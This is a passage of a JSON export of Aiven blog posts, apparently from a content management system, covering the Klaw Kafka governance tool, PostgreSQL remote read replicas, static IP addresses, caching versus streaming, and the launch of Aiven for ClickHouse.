connectors.__ This democratizes access to the Apache Kafka configuration without sacrificing control over the changes.\n\n![Klaw-dashboard](//cdn.sanity.io/images/sczeoy4w/production/f4b8e093da7335afa9011d37e5999d9109c3c952-1902x1132.png)\n\n## What does Klaw do?\nKlaw is a web based data governance toolkit for managing Apache Kafka Topics, ACLs, and schemas.\n\nKlaw provides a self-service user interface where teams of Apache Kafka service users can request changes to the Apache Kafka configuration without the intervention of administrators. The changes you can request via Klaw are:\n\n- Adding and defining roles for Kafka users \n- Creating and promoting Topics from one environment to another\n- Creating and updating schemas\n- Authorizing users to produce to or consume from topics\n- Adding connectors\n\n## The benefits of Klaw\nWhen you make request using Klaw, they __include all the information needed to implement them__, eliminating the communication hassle between teams. \n\nAlso, with these well-structured requests, new Topics have a __consistent configuration__.\n\nWith an __established workflow__, there will always be a second set of eyes on any given request, ensuring that the quality of requests remains high and accountability is maintained.\n\nAs an added bonus, Klaw maintains a __log of all events__ related to configuration changes. It’s easy to check later who requested what and when, and when the change went live.\n\nIn sum, Klaw can be used to implement a centralized governance and audit layer on top of Apache Kafka.\n\n![Klaw-req-menu](//cdn.sanity.io/images/sczeoy4w/production/a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed-454x250.png)\n\n## How does Klaw work?\nThe idea is that members of teams who use Apache Kafka can submit requests for changes. Their peers, from whichever team owns the relevant resources, can then approve it. In other words, all data is owned by the team that understands it.\n\n![Klaw-ConnectorRequestForm](//cdn.sanity.io/images/sczeoy4w/production/2d51dd225204ece7cd1502619c923c07ef28529b-1297x880.png)\n\nWhen a request is made, the entire team who can approve it receives an alert. Any team member may approve the request.\n### Teams, roles and users\nYour first step is to set up the teams you want and decide on their responsibilities. Two teams are provided by default: ```infrateam``` and ```stagingteam```. \n\nNext, you bring in users. The users are assigned to a team where they can request changes and approve requests. The easiest way to create users is often to use LDAP or integrate with an existing SSO provider. Only one user is provided by default, and that is the superadmin user.\n\nTo make it easier to manage users and their permissions, you can use roles and assign different permissions to each role. Two roles are provided by default: ```user``` and ```superadmin```. You can create more as required.\n### Environments\nApache Kafka resources are set up into environments inside Klaw. You can manage clusters and environments separately and configure relationships between them to build a deployment pipeline. \n\nFor example, you can specify the following environment hierarchy:\nTesting -\u003e Staging -\u003e Acceptance -\u003e Production\n\nYou can then create a new Topic in your Testing environment, for example, and when the time comes to create it in your staging environment, you can request that the Topic be promoted. This process takes the entire Topic and its configuration in the Testing environment, and copies it over to the Staging environment—saving you the trouble of reiterating the creation process.\n### Synchronization\n\n![Klaw-sync-menu](//cdn.sanity.io/images/sczeoy4w/production/eb8903262754782c512fafd8648aaf7e0128d25d-475x258.png)\n\nOne of the coolest features of Klaw is the ability to synchronize Topics and ACLs between clusters. You can pull them from one cluster and then replicate them in another with a single click. This simplifies Klaw initialization, but also allows users to create a standard configuration for the entire Apache Kafka cluster.\n\n## Klaw and other applications\nKlaw works with __any Apache Kafka flavor__, either pure self-managed Apache Kafka or a managed service such as Aiven for Apache Kafka.\n\nFor user authentication, Klaw works with __Active Directory (AD)__, __SSO (OAuth2)__ and __LDAP__.\n\nBoth __Karapace__, Aiven’s open source schema registry, and __Confluent Schema Registry__ are supported, and users can submit a request for a schema that lives in them.\n\nSupported protocols include __PLAINTEXT__, __SSL__, and __SASL__.\n\nKlaw has its own Cluster API that plugs into the Apache Kafka AdminClient API for managing Apache Kafka resources.\n\n![Klaw architecture](//cdn.sanity.io/images/sczeoy4w/production/173f64b14b5c85f9c96325f6aab04babba6b20e8-800x400.png)\n\n## Klaw and Aiven\nAiven is fully committed to keeping Klaw open source. Like Karapace, it is part of the company’s open source offering and is free for use by anyone. Aiven for Apache Kafka works seamlessly with Klaw, and as such it’s naturally our top recommendation, but not obligatory. \n\nApache Kafka deserves top-notch tooling, and Klaw provides an important link that is often missing in enterprise Apache Kafka environments.\n## Getting started with Klaw\nTo kick off your own Klaw deployment, visit the [Klaw project page](https://klaw-project.io). Just download, read [the docs](https://klaw-project.io/docs), and start empowering your Apache Kafka users!\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [TypeScript, react-hook-form, zod: blissful forms](https://aiven.io/blog/typescript-react-hook-form-zod)\n\n- [SASL authentication with Aiven Kafka](https://aiven.io/blog/aiven-kafka-now-supports-SASL-authentication)\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"dIABIFlQ2WxdM5KNsxEcc","_ref":"dIABIFlQ2WxdM5KNsxEcc","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688-png","_type":"reference"}},"publishedAt":"2022-09-29T00:00:00.000Z","related":[{"_key":"c324da9d1a8b","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"},{"_key":"ec097271e036","_ref":"6ZcP2aj9aXVAN0Dh2tlga5","_type":"reference"}],"seo":{"metaDescription":"Klaw, an open source data governance toolkit, helps enterprises exercise Apache Kafka® Topic and schema governance. Find out what you can accomplish with it!","metaImage":{"alt":"","asset":{"_ref":"image-9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688-png","_type":"reference"}},"metaTitle":"Introducing Klaw for Apache Kafka® governance"},"slug":{"_type":"slug","current":"/blog/introducing-klaw-for-apache-kafka-governance"},"subtitle":"Klaw, an open source data governance toolkit, helps enterprises exercise Apache Kafka® topic and schema governance. Find out what you can accomplish with it!","title":"Introducing Klaw for Apache Kafka® governance"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6SLnBYxWaZ6X5wMVeY9Xvf","_rev":"sg5cBJWkRHo7pkcz4CzW7p","_type":"post","_updatedAt":"2023-12-12T14:12:12Z","authors":[{"_key":"CwYvBlc0mZRbFtiATviQl","_ref":"CwYvBlc0mZRbFtiATviQl","_type":"reference"}],"body":"## Glossary of terms\n* *Master:* The primary DB instance that is the target of write (and read) operations.\n* *Standby:* A DB instance that will be considered for promotion (available for reads).\n* *Read replica:* Implies local or remote read-only instance (a.k.a replica).\n## What is an Aiven for PostgreSQL remote read replica?\nWhen it comes to Aiven for PostgreSQL, until remote replica functionality was released a few weeks ago, there were traditionally two types of DB instances namely, Master, and one or more Standby instances. Each standby instance serves two purposes: the first is to be considered for promotion in the event the master fails, and the other is to serve read-only operations.\n\n**Standalone read replica is the newest member to this family.** The differences between a standby instance and a remote read replica are that, a remote read replica will never be considered for promotion if the master failed, and a standby is always located in the same region as the master.\n\nAs with all flavors of standby and read replica instances (local or remote), the mechanism used to replicate data from the master to the replicas is asynchronous. By not relying on network service quality \u0026 bandwidth coupled with the low overhead inherent in PostgreSQL streaming replication, the impact to the write and read performance of the Master DB instance is negligible.\n\n**Note:** A remote read replica can be set up between homogenous or heterogenous cloud providers. For example, you can have your primary service in Google Cloud (Iowa) and have a read replica in DigitalOcean (New York) or Google Cloud (South Carolina).\n\n## Why remote read replicas are a business imperative\nAt this point, you might be wondering what the big deal is about the new addition. The **two most fundamental uses of the remote read replica** are to provide greater data availability, and increased performance (throughput and latency) for reads and writes. By offloading reads to the replica, you are essentially doing two things:\n\n1. increase read throughput (_fairly obvious_), and\n2. increase write throughput on the master (_not so obvious_).\n\nTo illustrate, let's say that you have a business-critical application that records online merchandise purchases. In order to record and fulfill those orders you have invested in one of the premium Aiven PostgreSQL plans equipped with a read/write Master and two standby instances, where all the DB instances are located in the same region.\n\nWhat would happen if the region your Aiven service is running in goes black, as would happen with a natural disaster?. You are then in a situation where you can neither view existing orders, let alone fulfill them. Nor can you record any new orders that your customers want to make from your website. As your sales are impacted, so is your bottom line.\n\nIf you were taking advantage of remote read replica functionality, your day would have gone a lot better. Because, **the remote read replica will remain fully operational for reads** even if the primary region hosting your Master and local replicas becomes inoperable. Therefore, you can continue to fulfill existing orders that were already made.\n\nYou can even tweak it so that you can convert the remote read replica to a read/write Master and point your web application to it within a matter of a few minutes, thereby allowing you to continue accepting new orders. In short, **a remote read replica provides greater data availability for your business-critical applications.**\n\nAnd availability is just the most obvious benefit of remote read replicas; **there are also performance benefits.** Especially in the age of globalization, it makes sense to place the data close to consumers. In this case, there may be data that various regional departments share. By allowing for the placement of data close to consumers, a remote read replica makes it more efficient to access.\n\nA similar use case is where massive amounts of data are used in various regions to generate daily performance reports and analytics. Again, replicating and placing this data closest to the regions where the reports and analytics are run for decision makers enables them to make more timely decisions based upon the data. Aiven for PostgreSQL remote read replica feature makes this possible.\n## How to set up a read replica in 7 steps\nSetting up a remote read replica is made convenient through the Aiven Console. Please follow the instructions below to setup a remote read replica for any non-hobbyist Aiven for PostgreSQL plan.\n\n1. Navigate to the Aiven console.\n\n **Note:** If you don't have a PostgreSQL service running, create a _Startup_ or higher Aiven PostgreSQL service from the Aiven console per [Getting started with Aiven\nPostgreSQL.](https://help.aiven.io/en/articles/489573-getting-started-with-aiven-postgresql)\n\n ![existing postgresql service](//cdn.sanity.io/images/sczeoy4w/production/492658c0326297d5bbd77402f750cfc4fb34ac1d-750x188.png)\n\n2. Once your PostgreSQL service is up and running, navigate to the service details page by clicking on the service name.\n\n ![postgreSQL service details](//cdn.sanity.io/images/sczeoy4w/production/18448700b263d6ac580b0b07870bb2308ea71312-750x454.png)\n\n3. Click on the \"Create a read replica\" button shown in the bottom-right corner to get to the new remote read replica configuration screen.\n\n ![postgreSQL service details](//cdn.sanity.io/images/sczeoy4w/production/8140fb641c1df6ebcb4ce644485a48aafa571567-750x385.png)\n\n4. Give the remote read replica service a name.\n\n5. Select the Cloud provider who will be hosting the remote read replica service (and the region).\n\n6. Select a plan for the service (default: same plan as the main service).\n\n7. Click \"Create\" to provision the remote read replica service. Give the service a few minutes to complete startup.\n\n ![postgreSQL service details](//cdn.sanity.io/images/sczeoy4w/production/6a95ddd28f2227489f1500131bb32247782dfeb4-750x235.png)\n\n **Note:** To obtain the credentials to access the remote read replica, simply click on its service name to enter the service details page.\n\n ![remote-replica service details](//cdn.sanity.io/images/sczeoy4w/production/9a9ea3ef11a2af4cdfb983448a07092bf37bbef5-750x349.png)\n\n## Create your first read replicas today\nIf you have a business-critical application that requires data (and associated service) to survive complete failure of a cloud provider’s region or wish to increase the performance of your existing Aiven PostgreSQL database, **take advantage of the Aiven PostgreSQL remote read replica functionality.** The cost is will be nominal compared to benefits and peace of mind it will bring.\n\n[Create your first read replica!](https://console.aiven.io/login)\n\n\n_Stay up-to-date! Follow us on [Facebook](https://facebook.com/aivencloud) and [Twitter](https://twitter.com/aiven_io), or [join the Aiven blog's RSS feed](https://aiven.io/blog/feed.xml)_\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms) \n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n","categories":[{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-20884078c4936fa4a596717352312f6b795e0778-752x405-png","_type":"reference"}},"publishedAt":"2018-04-03T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL remote read replicas enable users to increase their data availability, as well as read and write performance. Read more to learn how Aiven does it.","metaImage":{"alt":"","asset":{"_ref":"image-20884078c4936fa4a596717352312f6b795e0778-752x405-png","_type":"reference"}},"metaTitle":"Remote read replicas - the what, why, and how"},"slug":{"_type":"slug","current":"/blog/postgresql-remote-read-replica"},"subtitle":"PostgreSQL remote read replicas enable users to increase their data availability, as well as read and write performance. Read more to learn how Aiven does it.","title":"Remote read replicas - the what, why, and how"} {"__i18n_lang":"en","_createdAt":"2022-12-01T15:04:59Z","_id":"bd1de00d-3375-4c6c-b0a1-7399335e22bf","_rev":"ejVwHgKe5k9eDWbchuI8ON","_type":"post","_updatedAt":"2024-07-11T09:21:20Z","authors":[{"_key":"518ac632a869","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Of the many moving pieces of an infrastructure modernization project, networking is a key one. Imagine that you are a consultant on a modernization project where the data has been migrated to (Aiven) cloud databases but some legacy applications are still on-prem. These legacy applications and their network firewalls expect static IP addresses and ports. In this article, I will discuss the use cases for static IP addresses for data infrastructure and point you to some resources to use them with Aiven resources.\n\n## On-premises network firewalls\n\nThe on-premises enterprise applications for the modernization project need to read from/write to cloud databases but the security engineering organization has a network firewall rule that automatically denies all incoming and outgoing addresses/ports except a few in an allowed list. Here's what the system looks like: \n\n![Firewall blocking inbound-outbound connections](https://cdn.sanity.io/images/sczeoy4w/production/49df52068ff55cde1e8cbbcb8beed27666d2122e-1083x551.png)\n\nYou might have noticed that cloud databases are referred to by their hostnames and not by IP address. This ensures that even if the underlying IP address changes over time (for example, during a maintenance window), clients can still talk to the database instance using the same fully qualified domain name (FQDN) or service name. This is a blocker for your setup since the firewall rules for the legacy applications only accept IP addresses that they can add to an allowlist for any incoming and outgoing connection.\n\nA more common scenario is that your application is hosted on the cloud but your on-premises database is behind a firewall. These situations need a static IP address on the cloud resource so that the firewall can be configured to allow the incoming or outgoing connection.\n\n## Third-party or legacy applications\n\nThe client for the modernization project requested that you integrate a third-party metrics collection service and a legacy backup application into the cloud database. You found out that third-party and legacy applications have something in common. Both of these applications expect an IP address rather than a hostname when connecting to a database. \n\nWhile you can try to add a custom DNS resolver, that could add performance overhead, and would be a larger infrastructure initiative which might be too much to take on just to solve a single point-in-time problem.\n\n## Static IP addresses to the rescue\n\nAlthough not widely used, a static IP address can be a great solution to scenarios like the ones above. For the IP-based firewall rule, you can easily allow the IP address and port numbers for your cloud resources.\n\n![Firewall allows resource based on IP/port](https://cdn.sanity.io/images/sczeoy4w/production/609391ebbad4bf6ea6c66e2666b36f152e20bc88-1083x551.png)\n\nKeep in mind that these are network firewalls, which are\n[layer3](https://en.wikipedia.org/wiki/OSI_model#Layer_3:_Network_layer)/[layer4](https://en.wikipedia.org/wiki/OSI_model#Layer_4:_Transport_layer)\nfirewalls, and not [Web Application Firewalls](https://en.wikipedia.org/wiki/Web_application_firewall) (WAF),\nwhich are [layer7](https://en.wikipedia.org/wiki/OSI_model#Layer_7:_Application_layer) firewalls. \n\nIf your on-premises application is behind a firewall that needs to talk to an Aiven service, you can [create static IP addresses on Aiven](https://aiven.io/docs/platform/concepts/static-ips.html) using the console, Aiven CLI, or [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest). For high-availability and failover, you would want to ensure that there are a sufficient number of static IP addresses allocated for your services. \n\nAs a rule of thumb, if you have up to six nodes, you want twice that number of static IP addresses, and if you have more than six nodes, you want `number of nodes + 6`. There's a cost of consuming static IP addresses but you can assign these IP addresses to any of your Aiven services. [Calculate and reserve static IP addresses](https://aiven.io/docs/platform/howto/static-ip-addresses.html) beforehand and Aiven can provision these static IP addresses on the cloud of your choice for you. \n\n## Wrapping up\n\nThanks to appropriate use of static IP addresses and the smooth configuration of Aiven resources, the infrastructure modernization project was completed successfully. Hopefully, you took away some of the use cases of static IP addresses and how you can [set one up](https://aiven.io/docs/platform/concepts/static-ips.html) for your Aiven services. \n\nAnd if you don't want the hassle of managing your own data infrastructure, please [give Aiven a try](https://console.aiven.io/signup).\n","categories":[{"_key":"987edc73384b","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"A blue background, with the text \"Home is where your static IP is\". and the Aiven logo at the bottom left","asset":{"_ref":"image-f1bfff8bbd4963958e533fc7fc86f4abf94451eb-1567x844-png","_type":"reference"}},"publishedAt":"2023-01-05T13:05:00.000Z","related":[],"slug":{"_type":"slug","current":"/blog/static-ip-for-your-service"},"subtitle":"It's normally best to use dynamic IP addresses for services, but occasionally a static IP address makes sense. Read on to find out why.","title":"Static IP addresses for your data infrastructure"} {"__i18n_lang":"en","_createdAt":"2022-11-17T15:51:43Z","_id":"44203740-fa25-41c0-a68e-7bb4f32031ad","_rev":"BVM0UzymoPXcfHGeYl8cI1","_type":"post","_updatedAt":"2024-08-09T10:17:00Z","authors":[{"_key":"c6d6a827dd0a","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"What do caching and milk have in common? They're both useless when stale. Whether you're a data engineer or you focus more on the application side, a good understanding of data query technique is important when designing your enterprise data architecture. In this lighthearted blog, we tell you a story about an ice-cream shop, make comparisons between how milk is consumed and how data is delivered, and help you digest (*pun intended*) the choice of data in your architecture.\n\n\u003e **Note:** This blog uses certain analogies to help make the difficult concepts in data engineering slightly easier. The analogies are not meant to be an exact match.\n\nThis is a story about an ice-cream shop. The ice cream shop sells three types of ice cream: a soft ice-cream made from fresh milk, a regular frozen ice-cream, and a specialty ice-cream made from Yak milk. The quality of the ice-cream depends on the quality of the milk that is used to make it. Let's learn about the usage of different types of milk for different ice-creams (and also a thing or two along the way about the choice of data).\n\n## The need for fresh milk (or fresh data)\n\nSoft ice-cream is the most popular item in our shop. Although the taste of soft ice-cream is great, using fresh milk comes at a premium cost, as we have to go to the dairy every time we need fresh milk.\n\nSimilar to fresh milk, you might need fresh data. If you always query the database directly, and never use a cache, you'll be paying a premium in terms of cost and latency.\n\nThe database might have some internal caching to help save your query cost. However, an internal database cache is rather generic and is not customizable to your application. In PostgreSQL®, for example, the internal cache buffer size is configured with the [shared_buffer configuration](https://www.postgresql.org/docs/current/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-MEMORY). Allocating more memory to the `shared_buffer` means that there will be less memory available for other compute operations in the machine’s total memory. \n\n## The case of powdered milk (or cached data)\n\nSoft ice-cream is our best seller, but people also buy regular frozen ice-creams from the shop because they are more affordable. We can keep the price down because we use powdered milk for making regular frozen ice-cream. Powdered milk is cheaper by itself, but can also be stocked properly, requiring fewer round trips to the dairy.\n\nIn our analogy, powdered milk is like cached data, which can save a round trip to the database but might not be the most up-to-date since, like the powdered milk, it has an expiration date. Data from a stale cache is no good for making business decisions. It's a well known fact that **cache invalidation** is the second hardest problem to solve in computer science (right after **naming things**).\n\nEven if powdered milk can be stocked, we still need to make a trip now and then to maintain a healthy reserve of it. In the same way, you need to find a good way to update the cache. There are various caching techniques like **cache aside**, **write through**, and **write behind** to prioritize cost, latency or performance. However, there are trade-offs with every choice and there is no silver bullet. Could there be a solution to consume a constant flow of fresh data without needing to rely on caching techniques?\n\n## The case of milk pipes (or streaming data)\n\nThe ice-cream shop has been getting a ton of new customers and cannot meet the demand for soft ice-cream from fresh milk. It's clear that fresh milk, the main ingredient, is needed; but how to avoid needing to go to the dairy? One way is to keep a large inventory of milk ready. This will incur large cost and run the risk of a lot of unused milk going bad. Another way is to provide a constant supply of fresh milk, for example, having a dairy company run a milk pipe and have it plumbed into the shop. The milk is pressurized for faster delivery, and we will need to process the milk back to its original form before using it to make the delicious soft ice-cream. \n\nThis is similar to the choice between batch processing and stream processing. With batch processing, you collect data at a specified time and the data is typically files of large size. Stream processing, on the other hand, expects a continuous flow of smaller amounts of data so that you can do processing of the data in real time. \n\nYou might have distributed systems in geographically separated regions, with your goal being to move data from a source transaction system to multiple target data stores across the globe. For instance, to move data from a relational database like PostgreSQL® to a key-value store like Redis®*, you can use the [Debezium source connector for PostgreSQL](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html) to send the data to Apache Kafka® and [the Redis sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/redis-streamreactor-sink.html) to get the data into Redis. The benefit of this approach is that you can keep on adding more sinks without adding pressure to the source system. \n\nThe following diagram shows a sample layout of such decoupled systems with Apache Kafka sitting in the middle.\n\n![A diagram showing source data from PostgreSQL going into an Aiven for Apache Kafka service, and from there to sinks for AWS S3, Aiven for Caching and Google Cloud Storage](https://cdn.sanity.io/images/sczeoy4w/production/db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d-2170x1104.png)\n\n\n## Freezing the milk (data) for long term storage\n\nIf the shop needs long-term storage, freezing the milk is a great choice. It also means we can guarantee to have milk available if there's a high demand during the hot season. Similarly, your archival data could either stay in Kafka for a long time or you can [sink to AWS S3](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-aiven.html) for a more affordable storage option. For example, you might have to archive data for a certain number of years for compliance reasons. \n\n## Manage specialty milk (sensitive data)\n\nThe ice-cream shop sells a unique ice-cream made from yak milk. We will not find this kind of milk in the dairy and can't afford to store it in the ice-cream shop either. Whenever we need yak milk, we source it locally, taking special care when transporting it, and making sure to use it all up so none is wasted.\n\nSimilarly, sensitive data such as API tokens should not be stored in your cache or be streamed in plain-text across the data pipeline. When needed, this kind of data is generated, transmitted as encrypted data, and used. For example, in Apache Kafka, you can apply Single Message Transformations (SMTs) on messages that transform inbound messages after a source connector has produced them, but before they are written to Kafka. Check out [an excellent talk](https://ftisiot.net/talks/breathe-in-breathe-out-kafka-connect/) on this topic from my colleague [Francesco Tisiot](https://twitter.com/FTisiot). You can also use [Apache Flink®](https://aiven.io/docs/products/flink.html) to filter or transform sensitive data in real time. \n\n## The tradeoff between cost and performance\n\nAt the begining, when you have less data and a simple use case, a relational database like PostgreSQL can do the job. It might seem like overkill to worry about caching or a streaming solution. While it's important to keep your architecture simple, it's essential to design for future scaling needs. As the volume of data and the system complexity grows, having multiple systems talking to each other will take a toll on your engineering efforts and cost. You might also need a mechanism in place to transform the data before consuming it. Here are three rules to follow when deciding a tradeoff between cost and performance:\n\n- The actual cost of your software solution includes the current implementation cost and future maintenance and modernization costs. The cost of modification to a mature system is high, and often not possible.\n- Open-source solutions will provide you with more control, visibility, and ease of migration over proprietary solutions. \n- You cannot expect peak performance from applications that have bottlenecks in the storage and networking layers. \n\n## Wrap up\n\nThere's no shortage of ice-cream shops and they all have different requirements. If you want your ice-cream (application) to be of the best quality, use quality milk (data) and the right milk storage and delivery (database/streaming) techniques. For a robust and open-source data platform that offers multiple flavors of ~ice-cream~ data-related services, [give Aiven a try](https://console.aiven.io/signup). \n\n\n## Further reading\n\n- [Building a modern data architecture](https://aiven.io/blog/building-a-modern-data-architecture)\n","categories":[{"_key":"60892a1a3352","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"5a1976af89f1","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"c47fd9a38703","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"04b0af5d7062","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"95e55c697a17","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-405591dfeb39a20f021c49159d42dd18acf62016-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-22T17:05:17.684Z","related":[],"slug":{"_type":"slug","current":"/blog/milk-and-data"},"subtitle":"Streaming, batch, caching, archiving, encryption - data management can seem very complex. Read on for an ice-cream store metaphor that explains the options.\n","title":"Discussing data storage techniques - the milky way"} {"__i18n_lang":"en","_createdAt":"2022-12-07T13:10:57Z","_id":"5b18fb4c-f744-499c-befd-9e72479f83fc","_rev":"T130WEs22RB6SoEkOBbAX0","_type":"post","_updatedAt":"2024-11-19T08:02:43Z","authors":[{"_key":"c0343664d805","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"In today’s fast-moving and sometimes turbulent world, customers are more and more dependent on analytics to support the data-driven decision-making culture that they strive for. Alongside this, data volumes are growing and data velocity is increasing. \n\nIn response, organizations are increasingly turning to open source software and solutions, combined with the cloud, to fulfill their analytics needs while controlling costs.\n\nToday, we are delighted to announce that our new high-performance data warehouse service, [Aiven for ClickHouse®](https://aiven.io/clickhouse), is now generally available for production use by both existing and new Aiven customers.\n\nSince the introduction of the beta version of the service 3 months ago, we have listened carefully to feedback from customers that chose to experiment with the beta. We took that feedback, made enhancements and implemented new capabilities. Aiven for ClickHouse is now supported for production use and takes its place as a member in the set of integrated, open source data infrastructure services provided by Aiven.\n\nOne of the early adopters of Aiven for ClickHouse was Chatlayer by Sinch, a company that provides AI-powered chatbot solutions to their customers. The Chatlayer solution includes advanced analytics capabilities that provide insights into the customers’ conversations with their end users. \n\n\u003e “We were positively surprised with the performance of Aiven for ClickHouse - it is really fast. And thanks to the excellent data compression, we were able to save on costs compared to our previous solution.” – Miguel Carvajal, Technical Lead at Chatlayer\n\n## Faster data insights at scale with ClickHouse\nClickHouse® is a fast data warehouse that’s fully open source. ClickHouse allows you to derive analytical insights in near real-time using advanced SQL queries, and is built to process hundreds of millions of rows and tens of gigabytes of data per server per second. It supports industry-leading query performance, while significantly reducing storage requirements through the use optimization techniques combining the power of columnar storage with compression codecs that can be applied to independently compress each column based on the nature of the data that it contains. \n\nClickHouse is ideally suited for use-cases with high volumes of ‘event’ data, such as IoT telemetry, clickstream data, log files and real-time market data.\n\n## More than just open source ClickHouse \nAiven for ClickHouse service runs on our reliable cloud management platform\ninheriting all of its capabilities, and benefits from Aiven’s continuous focus on security and operational excellence:\n\n- **Reliable operations**: Aiven for ClickHouse is designed and built to be self-healing and provide a high reliability, with a **99.99% uptime SLA**, backed by **enterprise-grade monitoring and 24x7 proactive support**. Business continuity is supported by **daily backups, rolling software upgrades** for major and minor versions, and **automated failover** across availability zones for plans that have more than one node.\n- **Easy analytics pipelines**: [Integrate Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/howto/list-integrations.html) with Apache Kafka or PostgreSQL data sources, create powerful visualization dashboards using Aiven for Grafana, and connect JDBC compatible business intelligence tools such as Microsoft Power BI or Tableau. Tip: Our blog has more information about [connecting Aiven for ClickHouse and Apache Kafka](https://aiven.io/blog/connecting-kafka-and-clickhouse). \n- **No provider lock in due to full compatibility with open-source ClickHouse**: Aiven’s multi-cloud and cross-cloud deployment model enables you to choose your preferred cloud provider when creating your Aiven for ClickHouse cluster, and makes it simple to migrate between cloud providers should the need arise.\n- **Security and compliance**: Services that you create with Aiven run on **virtual machines dedicated to you** with **end-to-end encryption**. Our platform is **ISO 27001:2013, SOC 2,GDPR, and HIPAA compliant**.\n- **DevOps friendly**: integrate with your existing DevOps processes to create, modify, and delete Aiven for ClickHouse clusters programmatically via the **Aiven REST API, the Aiven CLI and Aiven Terraform Provider**.\n- **Easy observability**: Monitor your data infrastructure by connecting Aiven for ClickHouse with other Aiven services for **ready-made monitoring dashboards and unlimited log storage and search**. We also provide **integrations for popular external services** like Prometheus, Rsyslog, Amazon CloudWatch and Google Cloud’s Cloud Logging service.\n\n\n## Pricing \u0026 Availability\n\nAiven for ClickHouse is immediately available on all major cloud platforms - AWS, Google Cloud and Microsoft Azure - in over 70 regions globally. \n\nService plans range from single node Hobbyist/Startup plans, to highly-available three node Business plans, and further up to 30 node clusters with Premium plans. The service is priced per hour, with prices starting from $0.26027/h ($190/month).\n\nFor details, see our [ClickHouse pricing](https://aiven.io/pricing?tab=plan-pricing\u0026product=clickhouse) page.\n\n\n\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nInsert the hero image (set it up in https://sanity.avnsmarketingtest.net/media)\nDefine the author\nAdd relevant categories\nAdd keywords as recommended by SEO agency\nWrite the post\n\nAdd a wrapping up section and a strong CTA.\nKeep the \"Next steps\" section as a \"footer\". Remember to add links to the relevant product pages.\n--\u003e\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n::banner[Read our Quickstart Guide and start setting up today.]{ctaText=\"Show me how!\" ctaLink=\"https://console.aiven.io/signup\" title=\"Looking for an easy start with Aiven for ClickHouse?\" theme=\"light\"}\n","categories":[{"_key":"9c2cf46f506d","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-c5f8fc01907ec00b34b155c9fb3d4a118504c1de-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-13T11:55:00.645Z","related":[{"_key":"88b29cb263ea","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"076991628628","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},{"_key":"a620cf037983","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® is now generally available. Find out how you can create a fully managed data warehouse to run your analytics pipelines and more."},"slug":{"_type":"slug","current":"/blog/aiven-for-clickhouse-now-generally-available"},"subtitle":"With the general availability of Aiven for ClickHouse®, including a 99.99% availability SLA, you can now create a fully managed data warehouse to run your analytics pipelines and other analytics workloads.","title":"Aiven for ClickHouse® now generally available"} 